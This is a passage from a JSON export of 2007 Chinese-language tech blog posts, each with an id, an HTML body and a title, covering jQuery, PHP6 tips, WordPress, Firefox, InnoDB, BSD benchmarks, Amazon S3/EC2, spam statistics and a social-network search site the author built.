的檔案列表似乎支援不少平台，但據說目前 <a href=\"http://en.wikipedia.org/wiki/Portable_C_Compiler\" rel=\"tag\">PCC</a> 只能夠在 i386 平台上跑，而且還有 bug。不過當有人先做了第一步，造成新聞後 (這是重點)，接下來的事情就好辦很多了...\r\n\r\n另外幾個有趣的事情拿來對照 <a href=\"http://www.openbsd.org/\" rel=\"tag\">OpenBSD</a> 的動作還蠻有趣的：<a href=\"http://www.openbsd.org/\" rel=\"tag\">OpenBSD</a> 大魔頭 <a href=\"http://www.theos.com/deraadt/\" rel=\"tag\">Theo de Raadt</a> 對於 Linux community 處理 GPLv2/BSD license 雙重授權時的砲轟，以及 <a href=\"http://gcc.gnu.org/\" rel=\"tag\">GCC</a> 預定在 9/18 釋出 4.2.2 的計畫。",
    "title": "BSD license 的 C Compiler"
  },
  {
    "id": "1316",
    "body": "<a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 1.2.1 釋出，修正了 <a href=\"http://dev.jquery.com/report/17\" rel=\"tag\">這些 bug</a>，官方 Blog 上的公告在這：<a href=\"http://jquery.com/blog/2007/09/16/jquery-121-quick-fixes-for-12/\" rel=\"tag\">jQuery 1.2.1: Quick Fixes for 1.2</a>。\r\n\r\n另外一個 1.2.1 很重要的「修正」就是把 1.2 裡拿掉的 <code>.eq(n)</code> 放回來了，寫成 <code>.slice(n, n+1)</code> 太脫褲子放屁 (你可以在看到 <a href=\"http://userscripts.org/scripts/review/12267\" rel=\"tag\">Source for \"Wretch Album Expander\"</a> 裡看到我在選擇第四個 table 時用 <code>slice(3,4)</code> 的寫法)，結果就是在一陣抱怨聲後把 <code>.eq()</code> 補回來了... XD\r\n\r\n另外一個消息是 <a href=\"http://ui.jquery.com/\" rel=\"tag\">jQuery UI</a>：<a href=\"http://jquery.com/blog/2007/09/17/jquery-ui-interactions-and-widgets/\" rel=\"tag\">jQuery UI: Interactions and Widgets</a>。\r\n\r\n這代表 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 也開始做 UI 的部份了，在 <a href=\"http://blog.ericsk.org/\" rel=\"tag\">ericsk</a> 的「<a href=\"http://blog.ericsk.org/archives/762\">jQuery UI 問世</a>」這篇有提到一些，另外在網站上也有一些 sample html 可以玩。",
    "title": "jQuery 1.2.1 以及 jQuery UI"
  },
  {
    "id": "1317",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.facebook.com/\" rel=\"tag\">Facebook</a> 開始提供 Beta 版的 Storage Solution API 介面：<a href=\"http://slashdot.org/hardware/07/09/18/211208.shtml\" rel=\"tag\">Facebook Quietly Offers Storage to Developers</a>，一路連到 <a href=\"http://www.facebook.com/\" rel=\"tag\">Facebook</a> 的 <a href=\"http://wiki.developers.facebook.com/index.php/Data_Store_API_documentation\" rel=\"tag\">Data Store API documentation</a> 看，卻看不出來要怎麼寫入資料... (不知道真正的 data 要放到哪個欄位)\r\n\r\n也許再等一陣子看看。",
    "title": "Facebook 的 Storage Solution？"
  },
  {
    "id": "1318",
    "body": "<a href=\"http://bitfilm.net/?p=18\">Becoming PHP 6 Compatible</a> 這篇裡面提到的五個技巧，現在遵循這些習慣，等到 PHP6 正式推出的時候程式碼才不會改太多：\r\n<ul>\r\n\t<li>不要再依賴 <code>register_globals</code>：<code>register_globals</code> 將 <code>$_GET</code>、<code>$_POST</code>、<code>$_COOKIE</code> 這三個的變數內容直接對應到全域變數。這在目前的 PHP4 與 PHP5 預設都是關閉的，但還是有文件書籍會「建議」你打開。在 PHP6 中，這個功能將直接消失。不過，還是可以透過 <a href=\"http://www.php.net/manual/en/function.extract.php\" rel=\"tag\">extract()</a> 達到一樣的效果。</li>\r\n\t<li>不要使用 <code>magic_quotes</code>：這個功能在目前的 PHP4 與 PHP5 預設是<strong>開啟</strong>的，但在 PHP6 將會消失 (而非改為關閉)，所以，在開發軟體時最好以 <code>magic_quotes</code> 關閉的情況下開發。</li>\r\n\t<li>不要使用 <code>$HTTP_POST_VARS</code> 或 <code>$HTTP_GET_VAR</code>，改用 <code>$_POST</code> 及 <code>$_GET</code>。這點可以用編輯器的字串代換很快的換完。就算真的是很多的程式碼，也可以一次換一些。</li>\r\n\t<li>使用 <code>preg_*</code>，而不要再用 <code>ereg_*</code>。現在就用 <code>preg_*</code> 是因為執行速度比 <code>ereg_*</code> 快，另外在 PHP6 將會廢掉 <code>ereg_*</code>。不過應該會有人寫出 PECL extensions 放回來。</li>\r\n\t<li>直接拿原作者的 code 比較清楚：<blockquote>$a = &amp; new object(); // Do not do\r\n$a = new object(); // Do this as of PHP 6</blockquote></li>\r\n</ul>\r\n上面所提到的改變，會強迫使用者不能再用壞習慣寫程式，對於 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 的發展會是相當好的事情。",
    "title": "現在寫 PHP6-compatible 的一些技巧"
  },
  {
    "id": "1319",
    "body": "我已經不知道現在在發展什麼了... 感覺跟 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 每隔幾年就出個 Windows XX 差不多：<a href=\"http://wordpress.org/development/2007/09/wordpress-23/\">WordPress 2.3 公告文</a>。\r\n\r\n這是第一個對 Atom 1.0 完整支援的版本 (其實所有的離線寫作程式都用其他方式支援了...)，另外改用新版 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a>，號稱快 800% (問題在於，就算是快了 800%，還是得用得很多才會有感覺)。另外一個重點是新的 WYSIWYG (呃，我到現在還是用舊的 HTML code 介面)。\r\n\r\n不過看在這次<a href=\"http://trac.wordpress.org/query?status=closed&milestone=2.3\" rel=\"tag\">修掉 351 個 bug</a> 份上，還是鼓勵大家更新好了，說不定可以解決各種靈異現象之類的...",
    "title": "WordPress 2.3"
  },
  {
    "id": "1320",
    "body": "把 <a href=\"http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/\" rel=\"tag\">latest-trunk</a> (也就是 Firefox 3.0a9pre) 裝了起來，雖然還是有些 bug，不過穩定性比起<a href=\"http://blog.gslin.org/archives/2007/06/12/1197/\">六月時用的 3.0a6</a> 好太多了，目前還沒有出現過「本程式作業無效，即將關閉」的畫面，而且中文顯示、輸入也都正常，大多數的 Extensions 也都可以透過 <a href=\"http://www.oxymoronical.com/web/firefox/nightly\" rel=\"tag\">Nightly Tester Tools</a> 強制在 3.0a9pre 上跑。\r\n\r\n因為通過了 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">Acid2</a> 的關係，很多亂寫 CSS，用 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a>、<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 看會爛掉的網站，用 Firefox 3 看也會爛掉，這些站台在 Firefox 3 出來以後應該會修正。",
    "title": "Firefox 3.0a9pre - Minefield 版"
  },
  {
    "id": "1321",
    "body": "在 <a href=\"http://googleblog.blogspot.com/\" rel=\"tag\">Official Google Blog</a> 上公佈了 <a href=\"http://googleblog.blogspot.com/2007/09/its-all-about-today.html\">Google Trends 將每日更新的消息</a>。\r\n\r\n舊版的 <a href=\"http://www.google.com/trends\" rel=\"tag\">Google Trends</a> 約一個月更新一次，主要是查詢「歷史走向」。新版改為每日更新後，總算是可以看到比較即時的資料了。暫時沒想到要怎麼用...",
    "title": "Google Trends 每日更新"
  },
  {
    "id": "1322",
    "body": "MySQL InnoDB 的 auto-increment 會造成 INSERT 時使用 table-level lock 的 bug 終於修正 (<a href=\"http://bugs.mysql.com/bug.php?id=16979\">從 2006 年一月就進 MySQL 回報系統的 bug</a>)，下個 5.1 的版本 (預定是 5.1.22) 就會包括在裡面：<a href=\"http://www.mysqlperformanceblog.com/2007/09/26/innodb-auto-inc-scalability-fixed/\">InnoDB auto-inc scalability fixed</a>。\r\n\r\n這個 bug fix 目前介紹了新的變數：<code>innodb_autoinc_lock_mode</code>，目前有三個數值可以用：\r\n<ul>\r\n\t<li>其中 0 是原來的 table level lock 架構 (主要是因為其他原因而需要升級到 5.1.22，但是又不想上這個 patch)。</li>\r\n\t<li>1 是預設值，在 simple insert 時會改用新的 row level lock，但 bulk insert 時會使用新的 table level lock (要與 row level lock 配合)。</li>\r\n\t<li>而 2 目前不保證在 statement-based replication 下能夠正常運作 (預設是 statement-based + row-based 混和使用)，但現在用 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a> 不搞 replication 的很少了吧 :/</li>\r\n</ul>\r\n無論無何，這是一個重大修正，在大量 INSERT 卻不能 bulk 時會造成的問題終於解決了。雖然最近我都用 <a href=\"http://www.postgresql.org/\" rel=\"tag\">PostgreSQL</a> 開發... XD",
    "title": "InnoDB 的重大修正"
  },
  {
    "id": "1324",
    "body": "參考：<a href=\"http://mail-index.netbsd.org/tech-kern/2007/09/28/0014.html\">Thread benchmarks</a>，因為 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 被廣泛應用，所以大家都拿他當作 Thread/Lock/... 的實際效率測試指標。\r\n\r\n這個測試結果顯示 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 輸了一屁股，一定會讓 src committer (大光頭與 Jeffrey Roberson？) 測試 <a href=\"http://www.netbsd.org/\" rel=\"tag\">NetBSD</a> 在 AMD64 上跑 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的效率，這陣子應該可以在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 mailing list 上看到相關的討論...",
    "title": "MySQL 在 NetBSD 上的效率"
  },
  {
    "id": "1325",
    "body": "<strong>事先說明</strong>：我是 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 的技術顧問。\r\n\r\n補一些 <a href=\"http://blog.ijliao.info/archives/2007/09/30/3318/\">Yahoo! + 無名小站 濫用市場地位、排除其他搜尋引擎 ?</a> 這篇的內容。依照 HTTP header 所寫，robots.txt 最後修改日期是 8/23：\r\n<blockquote><pre>Last-Modified: Thu, 23 Aug 2007 07:33:09 GMT</pre></blockquote>\r\n另外在 <a href=\"http://blogsearch.google.com/\" rel=\"tag\">Google Blog Search</a> 則是從 9/21 停止 index：<a href=\"http://blogsearch.google.com/blogsearch?scoring=d&q=site%3Awww.wretch.cc\">Google 網誌搜尋：site:www.wretch.cc</a>。\r\n\r\n本來想找 <a href=\"http://www.archive.org/\" rel=\"tag\">Wayback Machine</a>，結果發現 robots.txt 的資料也已經消失了，暫時想不到有什麼其他的服務有保留。",
    "title": "無名小站的 robots.txt"
  },
  {
    "id": "1326",
    "body": "<a href=\"http://blog.gslin.org/archives/2007/09/29/1324/\">MySQL 在 NetBSD 上的效率</a> 這篇提到的效率差別已經確認是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 7-CURRENT 的 <code>malloc()</code> debugging code 所造成，拿掉以後就接近了：<a href=\"http://marc.info/?l=netbsd-tech-kern&m=119142054028425&w=2\">Re: Thread benchmarks - FreeBSD corrections</a>。\r\n\r\n這兩張圖分別是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>/<a href=\"http://www.netbsd.org/\" rel=\"tag\">NetBSD</a> 的 SCHED_4BSD 與 SCHED_ULE/SCHED_MSVR 效率差異：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/3424435/\"><img src=\"http://static.zooomr.com/images/3424435_c4182ff3b5.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/3424438/\"><img src=\"http://static.zooomr.com/images/3424438_bbd47bd171.jpg\" alt=\"\" /></a>",
    "title": "MySQL 在 NetBSD 上的效率說明"
  },
  {
    "id": "1328",
    "body": "在 <a href=\"http://simonwillison.net/\" rel=\"tag\">Simon Willison</a> 的 Weblog 上看到的。我在關閉 Javascript 的情況下操作起來沒有遇到問題：<a href=\"http://simonwillison.net/2007/Oct/4/google/\" rel=\"tag\">Google Maps, HTML version</a>，丟「Hsinchu」進去會問你是「新竹縣」還是「新竹市」，看起來基本的功能都有。\r\n\r\n也許找隻手機操作看看效果如何。",
    "title": "Google Maps HTML 版"
  },
  {
    "id": "1329",
    "body": "我果然還是用太少 :p\r\n\r\n前幾天我突然想到 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 有提供 Hotkey 直接操作，用了以後才發現在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 設定都配合好的情況下相當好用。我目前只用到三組快速鍵：用 \"<code>s</code>\" 列出下一個未讀的 feed，\"<code>j</code>\" 與 \"<code>k</code>\" 則是在這個 feed 內上下移動，最後再用 \"<code>o</code>\" 將想要獨立出來看的文章開新頁面。\r\n\r\n最後一項開新頁面的功能，配合 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的設定可以變成開新的 tab，預設應該是丟到背景，於是我就可以在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 先大致看過一次後，再開始仔細看想看的。\r\n\r\n我發現 <a href=\"http://beta.bloglines.com/\" rel=\"tag\">Bloglines Beta</a> 版反而沒有這些 Hotkey...",
    "title": "Bloglines 的 Hotkey"
  },
  {
    "id": "1331",
    "body": "從 10/1 開始，<a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 正式把 SLA 退費條件明列出來：<a href=\"http://www.amazon.com/gp/browse.html?node=379654011\">Amazon S3 Service Level Agreement</a>：保證 99.9%，如果在 99% ~ 99.9% 之間則退 10% 費用，99% 以下則是 25%。\r\n\r\n計算方式可以參考 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 的說明，主要是計算 InternalError、ServiceUnavailable 這類傳回值，而非網路不通的情況。\r\n\r\n在 SLA 裡有一些例外條款，像是金額不到一定額度的，以及責任不屬於 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 的情況。有在用 <a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 的人可以看一下，雖然 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 會在 billing cycle 幫你算...",
    "title": "Amazon S3 的 SLA"
  },
  {
    "id": "1332",
    "body": "在看到「<a href=\"http://blog.bobchao.net/2007/10/google-pages.html\">我把 Google Pages 休了~</a>」這篇後，我就去 <a href=\"http://www.wikidot.com/\" rel=\"tag\">Wikidot</a> 上註冊一個帳號，把一些雜七雜八的東西丟上去，我的站點在這裡：<a href=\"http://wiki.gslin.org/\" rel=\"tag\">wiki.gslin.org</a>。\r\n\r\n最早以前我會習慣把文章丟到 <a href=\"http://hlb.yichi.org/\" rel=\"tag\">hlb</a> 的 Wiki 上去，不過後來因為 <a href=\"http://hlb.yichi.org/\" rel=\"tag\">hlb</a> 跑去當兵，系統就爛掉了 XD 後來也有自己寫簡單的 HTML 頁整理的「<a href=\"http://ccca.nctu.edu.tw/~gslin/Documents/\">各類文件</a>」，不過這些方法要寫 HTML 語法其實都不太方便。\r\n\r\n後來有自己拿 <a href=\"http://www.mediawiki.org/\" rel=\"tag\">MediaWiki</a> 使用，但是我實在不想自己維護系統 (像 <a href=\"http://blog.rafan.org/\" rel=\"tag\">rafan</a> 就很熱血，自己還弄了一個「<a href=\"http://wiki.rafan.org/\" rel=\"tag\">rafan 的筆記本</a>」)，所以看到 <a href=\"http://www.wikidot.com/\" rel=\"tag\">Wikidot</a> 就很開心的跑去註冊，用了幾天覺得還蠻好用的 XD\r\n\r\n因為伺服器是架設在德國 (看起來)，所以連線的速度上並不會非常快，請自己試用看看能不能接受。目前我寫了三個頁面，可以自己連去看看頁面的效果：\r\n<ul>\r\n\t<li><a href=\"http://wiki.gslin.org/htaccess\" rel=\"tag\">htaccess</a></li>\r\n\t<li><a href=\"http://wiki.gslin.org/lua\" rel=\"tag\">lua</a></li>\r\n\t<li><a href=\"http://wiki.gslin.org/mysql-proxy\" rel=\"tag\">mysql-proxy</a></li>\r\n</ul>",
    "title": "Wikidot"
  },
  {
    "id": "1333",
    "body": "前幾天發現 3gp 已經被包成 shared library，叫做 <a href=\"http://www.penguin.cz/~utx/amr\" rel=\"tag\">AMR Codecs as Shared Libraries</a>，而且 <a href=\"http://ffmpeg.mplayerhq.hu/\" rel=\"tag\">ffmpeg</a> 也已經靠這個 library 處理 3gp 了，不用像以前那樣自己去抓 zip 下來解開搞老半天。\r\n\r\n不過因為我對 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 裡的 <a href=\"http://www.freshports.org/multimedia/ffmpeg\" rel=\"tag\">multimedia/ffmpeg</a> 已經絕望了 (結構太亂改不動)，所以我乾脆自己弄個 ports 出來包，四個檔案 (<code>Makefile</code>、<code>distinfo</code>、<code>pkg-descr</code>、<code>pkg-plist</code>) 我就直接丟到 wiki 上了：<a href=\"http://wiki.gslin.org/ffmpeg\" rel=\"tag\">ffmpeg</a>。\r\n\r\n這一包裡面儘量把能包的都包進來了，除了 rmvb 以外，要轉檔應該沒什麼問題，有興趣的人可以自己整合回自己的 ports 架構裡。",
    "title": "ffmpeg (全包在一起)"
  },
  {
    "id": "1334",
    "body": "<a href=\"http://aws.amazon.com/ec2\" rel=\"tag\">Amazon EC2</a> 是 <a href=\"http://aws.amazon.com/\" rel=\"tag\">Amazon Web Services</a> 中提供運算能力的服務，使用者可以做好 Image 後丟上去跑，一般都是跑 Linux System。由於計費方式是以小時算 (不足一小時的會無條件進位)，價格是 USD$0.1/hour/instance。所以對於短時間內需要大量機器運算的單位相當方便，不需要買一堆機器養。(其實跟別人聊天的時候有想過用這個系統跑 RSA factoring... XD)\r\n\r\n在 <a href=\"http://aws.typepad.com/aws/\" rel=\"tag\">Amazon Web Services Blog</a> 上 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 宣佈除了原先的 instance 外，現在還多提供了兩種 instance，這兩種 instance 的收費是 USD$0.4/hour/instance 與 USD$0.8/hour/instance，除了這些 instance 變成 64bits 外，CPU、記憶體、儲存空間的量也差不多是原來的四倍與八倍：<a href=\"http://aws.typepad.com/aws/2007/10/amazon-ec2-gets.html\">Amazon EC2 Gets More Muscle</a>，這對於需要大量記憶體的程式會相當方便。\r\n\r\n不過我還是沒搞懂他的 AMI (Amazon Machine Image)，找機會玩徹底看看...",
    "title": "Amazon EC2 提供更強大的運算能力"
  },
  {
    "id": "1335",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了<a href=\"http://slashdot.org/it/07/10/17/1226248.shtml\">垃圾郵件的比例創下歷史高點，已經到總量的 95%</a>，其中圖片類的垃圾郵件已經被 PDF 及 Excel 垃圾夾檔取代。\r\n\r\n有不少 spam 是將使用者導到有惡意軟體的網站上，以這些網站的所在位置分別的話，美國 36%，俄羅斯 8%，阿根廷與南韓都是 5%，波蘭與英國 4%，印度與丹麥 3%，法國 2%。但如果以 PDF spam 計算的話，美國 24%，台灣 14%，中國 10%，俄羅斯 4%...\r\n\r\n自己維護電子郵件的服務愈來愈難做了，還是先靠 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 撐吧...",
    "title": "垃圾郵件所佔的比例"
  },
  {
    "id": "1336",
    "body": "Amazon One-Click Patent 是專利濫用裡很知名的案例，在去年五月時有人送重審的申請書 (參考「<a href=\"http://blog.gslin.org/archives/2006/05/20/602/\">\"One Click\" 專利</a>」這篇)，終於在這個月被搞定了：<a href=\"http://igdmlgd.blogspot.com/2007/10/amazon-one-click-patent-rejected-by-us.html\">AMAZON ONE-CLICK PATENT REJECTED BY THE US PATENT OFFICE AS A RESULT OF MY REQUEST</a>。\r\n\r\n雖然 <a href=\"http://www.uspto.gov/\" rel=\"tag\">USPTO</a> 推翻了 One Click 大部份的專利內容，但 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 仍然可以對 <a href=\"http://www.uspto.gov/\" rel=\"tag\">USPTO</a> 提出回應。",
    "title": "Amazon 的 One-click 專利重審"
  },
  {
    "id": "1337",
    "body": "在 <a href=\"http://twitter.com/\" rel=\"tag\">Twitter</a> 上看 <a href=\"http://photomatt.net/\" rel=\"tag\">Matthew Mullenweg</a> 提到 <a href=\"http://automattic.com/\" rel=\"tag\">Automattic</a> (最有名的「產品」是 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a>) 買下 <a href=\"http://www.gravatar.com/\" rel=\"tag\">Gravatar</a>，公告的文章在這：<a href=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\">Automattic Acquires Gravatar</a>。\r\n\r\n這真是太神秘了... <a href=\"http://automattic.com/\" rel=\"tag\">Automattic</a> 居然有能力買別人 XD",
    "title": "Automattic 買下 Gravatar"
  },
  {
    "id": "1338",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到覺得實在太精彩了 (除了這個「點子」很精彩以外，<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的 comments 也很精彩)，一家律師事務所宣稱「觀看他們網站的 HTML 原始碼」是屬於侵權行為：<a href=\"http://slashdot.org/yro/07/10/18/2123233.shtml\">Law Firm Claims Copyright on View of HTML Source</a>。\r\n\r\n原始的報導在 <a href=\"http://techdirt.com/articles/20071017/092927.shtml\">Law Firm Uses Copyright Claim To Say You Can't View Its Website's HTML Source</a> 這篇，網站在 <a href=\"http://www.cybertriallawyer.com/\" rel=\"tag\">Dozier Internet Law, P.C.</a> 這裡，使用者條款則是在 <a href=\"http://www.cybertriallawyer.com/user-agreement\" rel=\"tag\">User Agreement/Privacy Policy</a> 這裡。",
    "title": "「觀看 HTML 原始碼」是侵權行為？"
  },
  {
    "id": "1339",
    "body": "呃... 這個關燈是真的關燈。\r\n\r\n在舊金山地區的人如果連上 <a href=\"http://www.google.com/\" rel=\"tag\">Google 首頁</a> 看到像這樣的樣子，請不要以為是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 被入侵或是四月一號到了，這是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的 <a href=\"http://www.google.com/lightsoutsf/\" rel=\"tag\">Lights Out San Francisco</a> 計畫：\r\n\r\n<a href=\"http://www.flickr.com/photos/mistergk/1654897980/\"><img src=\"http://farm3.static.flickr.com/2263/1654897980_b555a1f13a.jpg\" alt=\"\" /></a>\r\n\r\n這個計畫希望舊金山地區的使用者在星期六當地的晚上八點到九點把電燈關掉。",
    "title": "Google 關燈計畫"
  },
  {
    "id": "1340",
    "body": "在 <a href=\"http://www.goston.net/\" rel=\"tag\">Goston</a> 那邊看到的字型美化軟體 (其實他是從 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 上看到的 XD)：<a href=\"http://www.goston.net/2007/10/19/1080/\">[軟體] 超強 Windows 字型美化軟體 - GDI++</a>。\r\n\r\n裝上去以後字體變得舒服多了，不過新細明體會有問題，就趁機換成黑體字了...",
    "title": "Windows 字型美化軟體：GDI++"
  },
  {
    "id": "1341",
    "body": "Minefield 是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 開發時最新版的代碼。最近發現連不到自己簽 SSL Certificate 的站台，會出現以下的錯誤訊息：(像是 <a href=\"https://opensvn.csie.org/\" rel=\"tag\">opensvn.csie.org</a>)\r\n<blockquote>An error occurred during a connection to opensvn.csie.org:443 because it uses an invalid security certificate.\r\nThe certificate is not trusted or its issuer certificate is invalid.\r\n (sec_error_unknown_issuer)</blockquote>\r\n以前只會跳出警告畫面，現在必須手動把站台加入例外名單：Tools -&gt; Options -&gt; Advanced -&gt; Encryption -&gt; View Certificates -&gt; Add Exception。我猜這個功能會因為民怨而在正式版出版前被拿掉...",
    "title": "Minefield (Firefox 3) 的 SSL Certificate 處理"
  },
  {
    "id": "1342",
    "body": "<strong>事先說明</strong>：我是 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 的技術顧問，在這篇文章裡提到的這項服務與 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 以及 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 競爭對手有關。\r\n\r\n<strong>網址</strong>：<a href=\"http://sn.hasname.com/\" rel=\"tag\">http://sn.hasname.com/</a>。\r\n\r\n前陣子看到「<a href=\"http://udn.com/NEWS/NATIONAL/NATS9/4060292.shtml\">玩WARM人脈搜尋網 竟抓到劈腿男</a>」這篇文章後，我第一個想法是「這個東西也能當研究？」，如果連這種幹壞事的事情都要教授指導才能研究的話... (後面三千字省略)\r\n\r\n我在思考了一下整個架構後，似乎沒有技術上的問題，至於 Similiarity (好友相似度) 的部份，在 IRC 上跟 <a href=\"http://blog.lwhsu.org/\" rel=\"tag\">lwhsu</a> 討論過後也已經知道方向在哪裡，就跳下去寫，看看要寫多久。<a href=\"http://sn.hasname.com/\" rel=\"tag\">Social Network Search in Taiwan</a> 這個網站就是這樣的產物。\r\n\r\n目前只做了<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>的部份 (先跑一陣子看看)，未來希望能再加上其他站台。另外有打算直接開放 API (預定是 <a href=\"http://json.org/\" rel=\"tag\">JSON</a> 與 <a href=\"http://zh.wikipedia.org/wiki/SOAP\" rel=\"tag\">SOAP</a>) 以及 feed (應該還是會用 <a href=\"http://cyber.law.harvard.edu/rss/rss.html\" rel=\"tag\">RSS 2.0</a>)。\r\n\r\n以下補充一些題外話。\r\n\r\n以我個人的習慣，系統當然還是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> + <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> (不是 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a>) + <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> + <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 組成的 (FAMP 架構)，整個 code 都進 Subversion，但是有做一些特殊的設定 (post-commit hook)，使得我 commit 進去的時候就會自動更新。這個部份可以參考 <a href=\"http://wiki.gslin.org/\" rel=\"tag\">Wiki</a> 上的範例：<a href=\"http://wiki.gslin.org/subversion\" rel=\"tag\">Subversion</a>。\r\n\r\n<a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的部份是跑 5.1。在考慮之後 reading (query) 的量會比較大，所以採用 MyISAM 作為底層。目前這邊沒什麼技術可言，把 <code>my-huge.cnf</code> 裡與 replication 有關項目關閉，放到 <code>/usr/local/etc/my.cnf</code> 就可以了。\r\n\r\nCrawler 當然還是用 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 寫 (畢竟用 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 分析網頁已經寫得很順手了)，底層是透過 <a href=\"http://search.cpan.org/dist/ParallelUserAgent/\" rel=\"tag\">ParallelUserAgent</a> 抓，不然在國外連線速度太慢。另外因為有 Y! Apache 999 的關係，有故意用了一些方法避開，但這樣也造成更新會比較慢，看目前首頁上的資訊應該也看得出來 (「已統計人數」指的是有 ID 但還沒去抓取這個帳號的好友資料，「已經取得資料」則是指抓取過的)。程式一開始是從 wretch 開始跑，看起來可以長很大...\r\n\r\n最後是實際寫程式的時候發現 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 上最好用的 \"C\" (MVC 裡的 \"Controller\") 是交給 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 用 mod_rewrite 做... (真無奈)\r\n\r\n另外套了一些 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 與 <a href=\"http://ui.jquery.com/\" rel=\"tag\">jQuery UI</a> 的東西上去玩，雖然文件寫的不是很清楚 (我去翻了程式碼才知道要怎麼用)，但整體上來說還是相當不錯呢... 另外 <a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a> 的 CSS 也試著用了一些，不過之後可能會用其他家的吧 XD",
    "title": "Social Network Search in Taiwan"
  },
  {
    "id": "1343",
    "body": "剛剛在<a href=\"http://zh.wikipedia.org/\" rel=\"tag\">中文維基百科</a>上查資料發現 Logo 換掉了 :)\r\n\r\n雖然已經沒什麼在寫，但還是恭喜<a href=\"http://zh.wikipedia.org/\" rel=\"tag\">中文維基百科</a>的條目數超過 150k。即時的統計資料請參考「<a href=\"http://zh.wikipedia.org/wiki/Special:Statistics\" rel=\"tag\">統計</a>」這頁的資訊。",
    "title": "中文維基百科條目數突破 150k"
  },
  {
    "id": "1344",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到有人提出用 GPU 暴力計算密碼的方式，估計可以加快 25 倍，原因在於舊的 GPU 是針對浮點運算平行化處理，而新的 GPU 已經有能力對整數運算平行化 (Fixed-point calculation，我不是很確定 Fixed-point calculation 在這邊的意思，因為數學上的 Fixed-point 是指「定點」...)：<a href=\"http://slashdot.org/it/07/10/22/1851226.shtml\">New Password Recovery Technique Uses CPU and GPU Together</a>。\r\n\r\n下一步應該會是把 <a href=\"http://zh.wikipedia.org/wiki/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95\" rel=\"tag\">RSA</a> 以及 <a href=\"http://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86\" rel=\"tag\">AES</a> 的平行計算移植到 GPU 上面，不久後應該會看到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 報導 :p",
    "title": "用 GPU 暴力計算密碼"
  },
  {
    "id": "1345",
